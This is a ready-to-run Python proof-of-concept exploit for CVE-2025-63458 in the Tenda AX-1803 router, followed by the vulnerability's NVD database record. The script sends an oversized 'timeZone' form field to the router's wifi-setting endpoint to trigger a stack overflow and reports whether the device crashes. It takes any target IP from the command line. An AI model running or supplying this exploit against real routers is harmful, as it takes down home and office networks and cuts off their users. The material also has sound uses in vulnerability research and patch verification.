CVE-2025-63458

#!/usr/bin/env python3 """ CVE-2025-63458 PoC - Tenda AX-1803 Stack Overflow in form_fast_setting_wifi_set This PoC demonstrates a stack overflow vulnerability via the timeZone parameter. Note: Use only for authorized security testing. """ import requests import sys TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 def check_vulnerability(target_ip, target_port=80): """ Check if the target Tenda router is vulnerable to CVE-2025-63458 """ url = f"http://{target_ip}:{target_port}/goform/form_fast_setting_wifi_set" # Generate payload with oversized timeZone parameter # The vulnerability occurs when timeZone exceeds expected buffer size payload = { "timeZone": "A" * 1000, # Overflow payload "ssid": "TestSSID", "password": "TestPassword123" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload['timeZone'])} bytes") response = requests.post(url, data=payload, headers=headers, timeout=5) print(f"[+] Response status: {response.status_code}") print(f"[+] Response time: {response.elapsed.total_seconds():.2f}s") # Check if the device crashed (no response or timeout) if response.status_code == 0 or response.elapsed.total_seconds() > 10: print("[!] Target appears to be crashed/unresponsive") return True except requests.exceptions.Timeout: print("[!] Request timed out - target may have crashed") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down") return True except Exception as e: print(f"[-] Error: {str(e)}") return False return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_IP print("=" * 60) print("CVE-2025-63458 PoC - Tenda AX-1803 Stack Overflow") print("=" * 60) vulnerable = check_vulnerability(target, TARGET_PORT) if vulnerable: print("\n[+] Target is VULNERABLE to CVE-2025-63458") else: print("\n[-] Target may not be vulnerable or is already patched")

{"cve": {"id": "CVE-2025-63458", "sourceIdentifier": "[email protected]", "published": "2025-10-31T19:15:51.163", "lastModified": "2025-11-05T17:28:58.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1803 v1.0.0.1 was discovered to contain a stack overflow via the timeZone parameter in the form_fast_setting_wifi_set function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1803_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "B81C53EE-14CD-426B-ADF3-6D9B4D69DC84"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1803:-:*:*:*:*:*:*:*", "matchCriteriaId": "413B93A8-6188-4D89-8141-C5B73F4AA071"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1803/2/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1803/2/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}